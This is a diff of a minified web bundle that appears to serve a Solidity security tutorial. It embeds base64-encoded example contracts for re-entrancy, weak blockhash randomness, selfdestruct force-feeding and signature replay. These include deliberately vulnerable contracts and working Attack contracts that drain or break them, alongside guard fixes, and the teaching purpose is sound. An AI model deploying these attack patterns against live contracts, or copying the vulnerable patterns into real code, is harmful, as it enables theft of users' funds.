0dGFjay5hdHRhY2soKSBhbmQgd2lucyAxIEV0aGVyCgpXaGF0IGhhcHBlbmVkPwpBdHRhY2sgY29tcHV0ZWQgdGhlIGNvcnJlY3QgYW5zd2VyIGJ5IHNpbXBseSBjb3B5aW5nIHRoZSBjb2RlIHRoYXQgY29tcHV0ZXMgdGhlIHJhbmRvbSBudW1iZXIuCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50MjU2IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEgZXRoZXJ9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjayhHdWVzc1RoZVJhbmRvbU51bWJlciBndWVzc1RoZVJhbmRvbU51bWJlcikgcHVibGljIHsKICAgICAgICB1aW50MjU2IGFuc3dlciA9IHVpbnQyNTYoCiAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoYmxvY2toYXNoKGJsb2NrLm51bWJlciAtIDEpLCBibG9jay50aW1lc3RhbXApCiAgICAgICAgICAgICkKICAgICAgICApOwoKICAgICAgICBndWVzc1RoZVJhbmRvbU51bWJlci5ndWVzcyhhbnN3ZXIpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayBiYWxhbmNlCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],Z0=`

                                  Vulnerability

                                  blockhash and block.timestamp are not reliable sources for randomness.

                                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -9904,7 +9904,7 @@ Attack computed the correct answer by simply copying the code that computes the
 
                                    
 
                                  • Don't use blockhash and block.timestamp as source of randomness
                                    • 
 
                                  
-`,W0=({prev:s,next:a})=>r.jsx(u,{version:m0,title:b0,description:w0,html:Z0,prev:s,next:a,codes:k0}),B0="0.8.24",G0="Re-Entrancy",V0="An example of re-entrancy attack in Solidity",f0=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],Y0=`
                                  Vulnerability
                                  
+`,W0=({prev:s,next:a})=>r.jsx(A,{version:m0,title:b0,description:w0,html:Z0,prev:s,next:a,codes:k0}),B0="0.8.24",G0="Re-Entrancy",V0="An example of re-entrancy attack in Solidity",f0=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJTdG9yZQo0LiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyICh1c2luZyBBY2NvdW50IDMgKEV2ZSkpLgogICBZb3Ugd2lsbCBnZXQgMyBFdGhlcnMgYmFjayAoMiBFdGhlciBzdG9sZW4gZnJvbSBBbGljZSBhbmQgQm9iLAogICBwbHVzIDEgRXRoZXIgc2VudCBmcm9tIHRoaXMgY29udHJhY3QpLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIHdhcyBhYmxlIHRvIGNhbGwgRXRoZXJTdG9yZS53aXRoZHJhdyBtdWx0aXBsZSB0aW1lcyBiZWZvcmUKRXRoZXJTdG9yZS53aXRoZHJhdyBmaW5pc2hlZCBleGVjdXRpbmcuCgpIZXJlIGlzIGhvdyB0aGUgZnVuY3Rpb25zIHdlcmUgY2FsbGVkCi0gQXR0YWNrLmF0dGFjawotIEV0aGVyU3RvcmUuZGVwb3NpdAotIEV0aGVyU3RvcmUud2l0aGRyYXcKLSBBdHRhY2sgZmFsbGJhY2sgKHJlY2VpdmVzIDEgRXRoZXIpCi0gRXRoZXJTdG9yZS53aXRoZHJhdwotIEF0dGFjay5mYWxsYmFjayAocmVjZWl2ZXMgMSBFdGhlcikKLSBFdGhlclN0b3JlLndpdGhkcmF3Ci0gQXR0YWNrIGZhbGxiYWNrIChyZWNlaXZlcyAxIEV0aGVyKQoqLwoKY29udHJhY3QgRXRoZXJTdG9yZSB7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VzOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gKz0gbXNnLnZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIHJlcXVpcmUoYmFsID4gMCk7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYmFsfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBFdGhlclN0b3JlIHB1YmxpYyBldGhlclN0b3JlOwogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgQU1PVU5UID0gMSBldGhlcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9ldGhlclN0b3JlQWRkcmVzcykgewogICAgICAgIGV0aGVyU3RvcmUgPSBFdGhlclN0b3JlKF9ldGhlclN0b3JlQWRkcmVzcyk7CiAgICB9CgogICAgLy8gRmFsbGJhY2sgaXMgY2FsbGVkIHdoZW4gRXRoZXJTdG9yZSBzZW5kcyBFdGhlciB0byB0aGlzIGNvbnRyYWN0LgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],Y0=`
                                  Vulnerability
                                  
 
                                  Let's say that contract A calls contract B.
                                  
 
                                  Reentracy exploit allows B to call back into A before A finishes execution.
                                  
 
                                  // SPDX-License-Identifier: MIT
@@ -10005,7 +10005,7 @@ Here is how the functions were called
         locked = false;
     }
 }
-
                                  `,R0=({prev:s,next:a})=>r.jsx(u,{version:B0,title:G0,description:V0,html:Y0,prev:s,next:a,codes:f0}),X0="0.8.24",v0="Self Destruct",N0="An example of how to delete your smart contract by calling seldestruct in Solidity",H0=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyKTsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],F0=`
                                  Contracts can be deleted from the blockchain by calling selfdestruct.
                                  
+
                                  `,R0=({prev:s,next:a})=>r.jsx(A,{version:B0,title:G0,description:V0,html:Y0,prev:s,next:a,codes:f0}),X0="0.8.24",v0="Self Destruct",N0="An example of how to delete your smart contract by calling seldestruct in Solidity",H0=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA9PSAxIGV0aGVyLCAiWW91IGNhbiBvbmx5IHNlbmQgMSBFdGhlciIpOwoKICAgICAgICB1aW50MjU2IGJhbGFuY2UgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICAgICAgcmVxdWlyZShiYWxhbmNlIDw9IHRhcmdldEFtb3VudCwgIkdhbWUgaXMgb3ZlciIpOwoKICAgICAgICBpZiAoYmFsYW5jZSA9PSB0YXJnZXRBbW91bnQpIHsKICAgICAgICAgICAgd2lubmVyID0gbXNnLnNlbmRlcjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2xhaW1SZXdhcmQoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSB3aW5uZXIsICJOb3Qgd2lubmVyIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEV0aGVyR2FtZSBldGhlckdhbWU7CgogICAgY29uc3RydWN0b3IoRXRoZXJHYW1lIF9ldGhlckdhbWUpIHsKICAgICAgICBldGhlckdhbWUgPSBFdGhlckdhbWUoX2V0aGVyR2FtZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIFlvdSBjYW4gc2ltcGx5IGJyZWFrIHRoZSBnYW1lIGJ5IHNlbmRpbmcgZXRoZXIgc28gdGhhdAogICAgICAgIC8vIHRoZSBnYW1lIGJhbGFuY2UgPj0gNyBldGhlcgoKICAgICAgICAvLyBjYXN0IGFkZHJlc3MgdG8gcGF5YWJsZQogICAgICAgIGFkZHJlc3MgcGF5YWJsZSBhZGRyID0gcGF5YWJsZShhZGRyZXNzKGV0aGVyR2FtZSkpOwogICAgICAgIHNlbGZkZXN0cnVjdChhZGRyKTsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],F0=`

                                  Contracts can be deleted from the blockchain by calling selfdestruct.

                                  selfdestruct sends all remaining Ether stored in the contract to a designated address.

                                  Vulnerability

                                  @@ -10097,7 +10097,7 @@ Now no one can deposit and the winner cannot be set. require(sent, "Failed to send Ether"); } } -`,K0=({prev:s,next:a})=>r.jsx(u,{version:X0,title:v0,description:N0,html:F0,prev:s,next:a,codes:H0}),M0="0.8.24",S0="Signature Replay",x0="An example of a contract vulnerable to signature replay attack",J0=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7C